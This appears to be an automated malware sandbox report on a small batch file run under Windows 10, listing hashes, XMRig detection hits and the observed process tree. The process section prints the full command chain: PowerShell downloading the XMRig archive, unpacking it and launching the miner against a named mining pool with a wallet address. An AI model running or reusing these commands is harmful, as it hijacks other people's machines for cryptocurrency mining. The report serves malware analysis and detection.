Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1791s -
max time network
1801s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
31/12/2023, 17:40
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231220-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231215-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
Behavioral task
behavioral15
Sample
tesy.bat
Resource
win10-20231215-en
General
-
Target
tesy - Copy (4).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral8/files/0x000600000001ac2b-119.dat family_xmrig behavioral8/files/0x000600000001ac2b-119.dat xmrig behavioral8/memory/3756-122-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-123-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-126-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-127-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-130-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-131-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-132-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-133-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-134-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-135-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-136-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-137-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-138-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-139-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-140-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-141-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-142-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-143-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-144-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-145-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-146-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-147-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-148-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-149-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-150-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-151-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-152-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-153-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-154-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-155-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-156-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-157-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-158-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-159-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-160-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-161-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-162-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-163-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-164-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-165-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-166-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-167-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-168-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-169-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-170-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-171-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-172-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-173-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-174-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-175-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-176-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-177-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-178-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-179-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-180-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-181-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-182-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-183-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-184-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-185-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-186-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig behavioral8/memory/3756-187-0x00007FF61F4F0000-0x00007FF61FFF3000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 3472 powershell.exe 5 3472 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3756 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3472 powershell.exe 3472 powershell.exe 3472 powershell.exe 4324 powershell.exe 4324 powershell.exe 4324 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3472 powershell.exe Token: SeDebugPrivilege 4324 powershell.exe Token: SeLockMemoryPrivilege 3756 xmrig.exe Token: SeLockMemoryPrivilege 3756 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3756 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3876 wrote to memory of 3472 3876 cmd.exe 15 PID 3876 wrote to memory of 3472 3876 cmd.exe 15 PID 3876 wrote to memory of 4324 3876 cmd.exe 75 PID 3876 wrote to memory of 4324 3876 cmd.exe 75 PID 3876 wrote to memory of 3756 3876 cmd.exe 76 PID 3876 wrote to memory of 3756 3876 cmd.exe 76
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3472
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3876 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4324
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3756
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
3KB
MD542d4b1d78e6e092af15c7aef34e5cf45
SHA16cf9d0e674430680f67260194d3185667a2bb77b
SHA256c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
SHA512d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930
-
Filesize
1KB
MD5ae9d32d54e6095bb334cce39964f7515
SHA16a030527729371bd1213afacd875c4c2746be410
SHA25653ea707f9806866c8be2fe73ae84e2d5d43788a7ec7bc552cb0c02b7a69e9225
SHA512797845471c1f7345faf7f8b4f9d8419718df785c910a4d530782e39bd4d9168e5f4b48f574c1687234836a4c1422deee82efcb1d1d9a1ef1c4e11022acb3b824
-
Filesize
408KB
MD5e03381eea105b9b3055914eb9caee27e
SHA1548f1828fe68ba245749af88108f22cc8adab72d
SHA2569a26ad99920a5fc5a1dd98e103ef15df9a1e979fe323a8cc20179f29a100ae66
SHA5126e344c0142a67df1252d6c77b1a0f5cb709e913ff293a641bd3134e55e9921ec365315a7c715721d74c1171fa49b6ed0099eb25b417dfb1ae075aaf6af428c9e
-
Filesize
93KB
MD55d03afc3d0929a47212458b3a3d5bf60
SHA164160ecc6ed363d88bd7892ee80aebb1d8dbdee5
SHA256776f45dc34f9b4cb8a03a4af63767a81aaf249dfc147f1c1ae2a2ebedcf62d33
SHA512946377120ea1eb691ecd481a5b9ec3fca47eabd1ca9fc3b76844b945e8752578a93e46de815fa4ec97a4c776fa86692ee48d07f82c48b4866765d596176f1bae